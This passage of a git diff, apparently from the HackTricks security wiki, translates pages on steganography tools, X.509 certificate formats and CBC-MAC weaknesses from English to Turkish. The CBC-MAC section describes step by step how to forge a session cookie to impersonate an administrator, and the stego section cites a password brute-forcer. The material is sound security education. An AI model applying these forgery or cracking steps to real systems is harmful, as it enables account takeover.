identify potential corruption. Execute the command below to inspect an image: +### **GraphicMagick ile Görüntü Ayrıntılarını Belirleme** +[GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosyası türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın: ```bash ./magick identify -verbose stego.jpg ``` - -To attempt repair on a damaged image, adding a metadata comment might help: - +Hasarlı bir görüntüyü onarmaya çalışmak için, bir meta veri yorumu eklemek yardımcı olabilir: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` +### **Veri Gizleme için Steghide** -### **Steghide for Data Concealment** +Steghide, `JPEG, BMP, WAV ve AU` dosyaları içinde veri gizlemeyi kolaylaştırır, şifreli verileri gömme ve çıkarma yeteneğine sahiptir. Kurulum `apt` kullanarak basittir ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide). -Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide). +**Komutlar:** -**Commands:** +- `steghide info file` bir dosyanın gizli veri içerip içermediğini gösterir. +- `steghide extract -sf file [--passphrase password]` gizli veriyi çıkarır, şifre isteğe bağlıdır. -- `steghide info file` reveals if a file contains hidden data. -- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional. +Web tabanlı çıkarım için [bu web sitesini](https://futureboy.us/stegano/decinput.html) ziyaret edin. -For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html). - -**Bruteforce Attack with Stegcracker:** - -- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows: +**Stegcracker ile Bruteforce Saldırısı:** +- Steghide üzerinde şifre kırma denemesi yapmak için [stegcracker](https://github.com/Paradoxis/StegCracker.git) kullanın: ```bash stegcracker [] ``` +### **zsteg PNG ve BMP Dosyaları için** -### **zsteg for PNG and BMP Files** +zsteg, PNG ve BMP dosyalarında gizli verileri ortaya çıkarmada uzmanlaşmıştır. Kurulum `gem install zsteg` ile yapılır, [kaynağı GitHub'da](https://github.com/zed-0xff/zsteg). -zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg). +**Komutlar:** -**Commands:** +- `zsteg -a file` bir dosya üzerinde tüm tespit yöntemlerini uygular. +- `zsteg -E file` veri çıkarımı için bir yük belirtir. -- `zsteg -a file` applies all detection methods on a file. -- `zsteg -E file` specifies a payload for data extraction. +### **StegoVeritas ve Stegsolve** -### **StegoVeritas and Stegsolve** +**stegoVeritas**, meta verileri kontrol eder, görüntü dönüşümleri gerçekleştirir ve diğer özelliklerin yanı sıra LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu çalıştırın. -**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks. +**Stegsolve**, görüntülerde gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) mevcuttur. -**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). +### **Gizli İçerik Tespiti için FFT** -### **FFT for Hidden Content Detection** - -Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include: +Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği açığa çıkarabilir. Yararlı kaynaklar şunlardır: - [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) -- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic) +- [FFTStegPic GitHub'da](https://github.com/0xcomposure/FFTStegPic) -### **Stegpy for Audio and Image Files** +### **Stegpy Ses ve Görüntü Dosyaları için** -Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy). +Stegpy, PNG, BMP, GIF, WebP ve WAV gibi formatları destekleyerek bilgi gömülmesine olanak tanır. [GitHub'da](https://github.com/dhsdshdhk/stegpy) mevcuttur. -### **Pngcheck for PNG File Analysis** - -To analyze PNG files or to validate their authenticity, use: +### **PNG Dosyası Analizi için Pngcheck** +PNG dosyalarını analiz etmek veya doğruluklarını kontrol etmek için: ```bash apt-get install pngcheck pngcheck stego.png ``` +### **Görüntü Analizi için Ek Araçlar** -### **Additional Tools for Image Analysis** - -For further exploration, consider visiting: +Daha fazla keşif için ziyaret etmeyi düşünün: - [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) - [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) @@ -153,66 +133,60 @@ For further exploration, consider visiting: - [OpenStego](https://www.openstego.com/) - [DIIT](https://diit.sourceforge.net/) -## **Extracting Data from Audios** +## **Seslerden Veri Çıkarma** -**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content. +**Ses steganografisi**, bilgi gizlemek için ses dosyaları içinde benzersiz bir yöntem sunar. Gizli içeriği gömmek veya geri almak için farklı araçlar kullanılır. ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide). +Steghide, JPEG, BMP, WAV ve AU dosyalarında veri gizlemek için tasarlanmış çok yönlü bir araçtır. Ayrıntılı talimatlar [stego tricks documentation](stego-tricks.md#steghide) içinde sağlanmıştır. ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). +Bu araç, PNG, BMP, GIF, WebP ve WAV dahil olmak üzere çeşitli formatlarla uyumludur. Daha fazla bilgi için [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) bölümüne bakın. ### **ffmpeg** -ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies. - +ffmpeg, ses dosyalarının bütünlüğünü değerlendirmek için kritik öneme sahiptir, ayrıntılı bilgileri vurgular ve herhangi bir tutarsızlığı belirler. ```bash ffmpeg -v info -i stego.mp3 -f null - ``` - ### **WavSteg (WAV)** -WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include: - +WavSteg, en az anlamlı bit stratejisini kullanarak WAV dosyaları içinde verileri gizleme ve çıkarma konusunda mükemmeldir. [GitHub](https://github.com/ragibson/Steganography#WavSteg) üzerinde erişilebilir. Komutlar şunlardır: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` - ### **Deepsound** -Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx). +Deepsound, AES-256 kullanarak ses dosyaları içindeki bilgilerin şifrelenmesi ve tespit edilmesini sağlar. [resmi sayfadan](http://jpinsoft.net/deepsound/download.aspx) indirilebilir. ### **Sonic Visualizer** -An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more. +Ses dosyalarının görsel ve analitik incelemesi için paha biçilmez bir araç olan Sonic Visualizer, diğer yöntemlerle tespit edilemeyen gizli unsurları ortaya çıkarabilir. Daha fazla bilgi için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin. ### **DTMF Tones - Dial Tones** -Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html). +Ses dosyalarında DTMF tonlarını tespit etmek, [bu DTMF dedektörü](https://unframework.github.io/dtmf-detect/) ve [DialABC](http://dialabc.com/sound/detect/index.html) gibi çevrimiçi araçlar aracılığıyla gerçekleştirilebilir. ## **Other Techniques** ### **Binary Length SQRT - QR Code** -Binary data that squares to a whole number might represent a QR code. Use this snippet to check: - +Tam sayıya kare olan ikili veriler bir QR kodunu temsil edebilir. Kontrol etmek için bu kod parçasını kullanın: ```python import math math.sqrt(2500) #50 ``` +Binary'den görüntüye dönüştürme için [dcode](https://www.dcode.fr/binary-image)'u kontrol edin. QR kodları okumak için [bu çevrimiçi barkod okuyucusunu](https://online-barcode-reader.inliteresearch.com/) kullanın. -For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). +### **Braille Çevirisi** -### **Braille Translation** +Braille çevirisi için [Branah Braille Translator](https://www.branah.com/braille-translator) mükemmel bir kaynaktır. -For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource. - -## **References** +## **Referanslar** - [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) - [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md index 622b48c61..c153201ce 100644 --- a/src/cryptography/certificates.md +++ b/src/cryptography/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# Sertifikalar {{#include ../banners/hacktricks-training.md}} -
+## Sertifika Nedir -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Bir **açık anahtar sertifikası**, birinin açık anahtara sahip olduğunu kanıtlamak için kriptografide kullanılan dijital bir kimliktir. Anahtarın detaylarını, sahibinin kimliğini (konu) ve güvenilir bir otoriteden (verici) dijital bir imzayı içerir. Yazılım vericiyi güvenilir bulursa ve imza geçerliyse, anahtarın sahibiyle güvenli iletişim mümkündür. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate_authority) (CA'lar) tarafından [açık anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) kurulumunda verilir. Diğer bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web_of_trust)dır; burada kullanıcılar birbirlerinin anahtarlarını doğrudan doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509) olup, RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uyarlanabilir. -## What is a Certificate +## x509 Ortak Alanlar -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **x509 Sertifikalarında Ortak Alanlar** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamak için birkaç **alan** kritik rol oynamaktadır. Bu alanların bir dökümü: -## x509 Common Fields +- **Sürüm Numarası**, x509 formatının sürümünü belirtir. +- **Seri Numarası**, sertifikayı bir Sertifika Otoritesi (CA) sisteminde benzersiz olarak tanımlar, esasen iptal takibi için kullanılır. +- **Konu** alanı, sertifikanın sahibini temsil eder; bu bir makine, birey veya organizasyon olabilir. Aşağıdaki gibi detaylı kimlik bilgilerini içerir: +- **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar. +- **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel detaylar sağlar. +- **Ayrıcalıklı Ad (DN)**, tam konu kimliğini kapsar. +- **Verici**, sertifikayı kimlerin doğruladığını ve imzaladığını detaylandırır; CA için Konu ile benzer alt alanlar içerir. +- **Geçerlilik Süresi**, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığını sağlamak için **Not Before** ve **Not After** zaman damgaları ile işaretlenir. +- **Açık Anahtar** bölümü, sertifikanın güvenliği için kritik olup, açık anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir. +- **x509v3 uzantıları**, sertifikanın işlevselliğini artırır; **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ince ayar yapmak için diğer özellikleri belirtir. -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **Anahtar Kullanımı ve Uzantılar** +- **Anahtar Kullanımı**, açık anahtarın kriptografik uygulamalarını tanımlar; örneğin dijital imza veya anahtar şifreleme. +- **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım durumlarını daha da daraltır; örneğin, TLS sunucu kimlik doğrulaması için. +- **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve bunun bir CA veya son varlık sertifikası olup olmadığını tanımlar. +- **Konu Anahtar Tanımlayıcı** ve **Otorite Anahtar Tanımlayıcı** gibi tanımlayıcılar, anahtarların benzersizliğini ve izlenebilirliğini sağlar. +- **Otorite Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, verici CA'yı doğrulamak ve sertifika iptal durumunu kontrol etmek için yollar sağlar. +- **CT Ön Sertifika SCT'leri**, sertifikaya kamu güveni için kritik olan şeffaflık günlükleri sunar. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,133 +54,104 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **OCSP ve CRL Dağıtım Noktaları Arasındaki Fark** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**), bir istemci ve bir yanıtlayıcının, tam **CRL** indirmeye gerek kalmadan dijital kamu anahtar sertifikasının iptal edilip edilmediğini kontrol etmek için birlikte çalışmasını içerir. Bu yöntem, iptal edilen sertifika seri numaralarının bir listesini sağlayan ancak potansiyel olarak büyük bir dosyanın indirilmesini gerektiren geleneksel **CRL**'den daha verimlidir. CRL'ler en fazla 512 giriş içerebilir. Daha fazla ayrıntı [burada](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) mevcuttur. -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **Sertifika Şeffaflığı Nedir** -### **What is Certificate Transparency** +Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan adı sahipleri, CA'lar ve kullanıcılar tarafından görünür olmasını sağlayarak sertifika ile ilgili tehditlerle mücadele etmeye yardımcı olur. Hedefleri şunlardır: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- CA'ların, alan adı sahibinin bilgisi olmadan bir alan için SSL sertifikası vermesini önlemek. +- Yanlış veya kötü niyetle verilmiş sertifikaların izlenmesi için açık bir denetim sistemi kurmak. +- Kullanıcıları sahte sertifikalardan korumak. -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **Sertifika Kayıtları** -#### **Certificate Logs** +Sertifika kayıtları, ağ hizmetleri tarafından tutulan, kamuya açık denetlenebilir, yalnızca ekleme yapılabilen sertifika kayıtlarıdır. Bu kayıtlar, denetim amaçları için kriptografik kanıtlar sağlar. Hem verme otoriteleri hem de kamu, bu kayıtlara sertifika gönderebilir veya doğrulama için sorgulayabilir. Kayıt sunucularının kesin sayısı sabit olmamakla birlikte, dünya genelinde binin altında olması beklenmektedir. Bu sunucular, CA'lar, ISP'ler veya herhangi bir ilgilenen kuruluş tarafından bağımsız olarak yönetilebilir. -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **Sorgu** -#### **Query** +Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin. -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +Sertifikaları depolamak için farklı formatlar mevcuttur, her birinin kendi kullanım durumları ve uyumluluğu vardır. Bu özet, ana formatları kapsar ve bunlar arasında dönüştürme konusunda rehberlik sağlar. -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +## **Formatlar** -## **Formats** +### **PEM Formatı** -### **PEM Format** +- Sertifikalar için en yaygın kullanılan formattır. +- Sertifikalar ve özel anahtarlar için ayrı dosyalar gerektirir, Base64 ASCII ile kodlanmıştır. +- Yaygın uzantılar: .cer, .crt, .pem, .key. +- Öncelikle Apache ve benzeri sunucular tarafından kullanılır. -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **DER Formatı** -### **DER Format** +- Sertifikaların ikili formatıdır. +- PEM dosyalarında bulunan "BEGIN/END CERTIFICATE" ifadelerini içermez. +- Yaygın uzantılar: .cer, .der. +- Genellikle Java platformları ile kullanılır. -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **P7B/PKCS#7 Formatı** -### **P7B/PKCS#7 Format** +- Base64 ASCII formatında depolanır, uzantıları .p7b veya .p7c'dir. +- Sadece sertifikaları ve zincir sertifikalarını içerir, özel anahtarı hariç tutar. +- Microsoft Windows ve Java Tomcat tarafından desteklenir. -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **PFX/P12/PKCS#12 Formatı** -### **PFX/P12/PKCS#12 Format** +- Sunucu sertifikalarını, ara sertifikaları ve özel anahtarları tek bir dosyada kapsayan ikili bir formattır. +- Uzantılar: .pfx, .p12. +- Sertifika içe aktarma ve dışa aktarma için genellikle Windows'ta kullanılır. -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **Format Dönüştürme** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**PEM dönüşümleri**, uyumluluk için gereklidir: +- **x509'dan PEM'e** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM'den DER'e** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER'den PEM'e** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM'den P7B'ye** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7'den PEM'e** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**PFX dönüşümleri**, Windows'ta sertifikaları yönetmek için çok önemlidir: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX'ten PEM'e** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX'ten PKCS#8'e** iki adım içerir: +1. PFX'i PEM'e dönüştür ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. PEM'i PKCS8'e Dönüştür ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B'den PFX'e** geçmek için de iki komut gereklidir: +1. P7B'yi CER'e dönüştür ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. CER ve Özel Anahtarı PFX'e Dönüştür ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - --- -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..23c66c0ec 100644 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +Eğer **cookie** **sadece** **kullanıcı adı** ise (veya cookie'nin ilk kısmı kullanıcı adıysa) ve "**admin**" kullanıcı adını taklit etmek istiyorsanız. O zaman **"bdmin"** kullanıcı adını oluşturabilir ve **cookie'nin ilk baytını** **bruteforce** edebilirsiniz. # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**Şifre blok zinciri mesaj kimlik doğrulama kodu** (**CBC-MAC**), kriptografide kullanılan bir yöntemdir. Bu yöntem, bir mesajı alıp blok blok şifreleyerek çalışır; her bloğun şifrelemesi, bir önceki bloğa bağlıdır. Bu süreç, **blokların bir zincirini** oluşturur ve orijinal mesajın tek bir bitini değiştirmek bile, şifrelenmiş verinin son bloğunda öngörülemeyen bir değişikliğe yol açar. Böyle bir değişikliği yapmak veya geri almak için şifreleme anahtarı gereklidir, bu da güvenliği sağlar. -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +Mesaj m'nin CBC-MAC'ını hesaplamak için, m'yi sıfır başlangıç vektörü ile CBC modunda şifreler ve son bloğu saklarsınız. Aşağıdaki şekil, bir dizi bloktan oluşan bir mesajın CBC-MAC'ının hesaplanmasını tasvir etmektedir![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) gizli anahtar k ve bir blok şifre E kullanarak: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() -# Vulnerability +# Açıklık -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +CBC-MAC ile genellikle **kullanılan IV 0'dır**.\ +Bu bir sorun çünkü 2 bilinen mesaj (`m1` ve `m2`) bağımsız olarak 2 imza (`s1` ve `s2`) üretecektir. Yani: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +Sonra m1 ve m2'nin birleştirilmesiyle oluşan bir mesaj (m3) 2 imza (s31 ve s32) üretecektir: - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**Bu, şifreleme anahtarını bilmeden hesaplanabilir.** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +**Administrator** ismini **8bayt** bloklarda şifrelediğinizi hayal edin: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +**Administ** (m1) adında bir kullanıcı adı oluşturabilir ve imzayı (s1) alabilirsiniz.\ +Sonra, `rator\00\00\00 XOR s1` sonucunu kullanarak bir kullanıcı adı oluşturabilirsiniz. Bu, `E(m2 XOR s1 XOR 0)` üretecektir ki bu da s32'dir.\ +Artık s32'yi **Administrator** tam adı için imza olarak kullanabilirsiniz. -### Summary +### Özet -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. **Administ** (m1) kullanıcı adının imzasını alın, bu s1'dir. +2. **rator\x00\x00\x00 XOR s1 XOR 0** kullanıcı adının imzasını alın, bu s32'dir. +3. Cookie'yi s32 olarak ayarlayın ve bu, **Administrator** kullanıcısı için geçerli bir cookie olacaktır. -# Attack Controlling IV +# IV'yi Kontrol Etme Saldırısı -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +Kullanılan IV'yi kontrol edebiliyorsanız, saldırı çok kolay olabilir.\ +Eğer cookie sadece şifrelenmiş kullanıcı adıysa, "**administrator**" kullanıcısını taklit etmek için "**Administrator**" kullanıcısını oluşturabilir ve onun cookie'sini alabilirsiniz.\ +Şimdi, eğer IV'yi kontrol edebiliyorsanız, IV'nin ilk baytını değiştirebilirsiniz, böylece **IV\[0] XOR "A" == IV'\[0] XOR "a"** olur ve **Administrator** kullanıcısı için cookie'yi yeniden oluşturabilirsiniz. Bu cookie, başlangıç **IV** ile **administrator** kullanıcısını taklit etmek için geçerli olacaktır. -## References +## Referanslar -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +Daha fazla bilgi için [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index bb2b5f049..6f75d2d26 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ 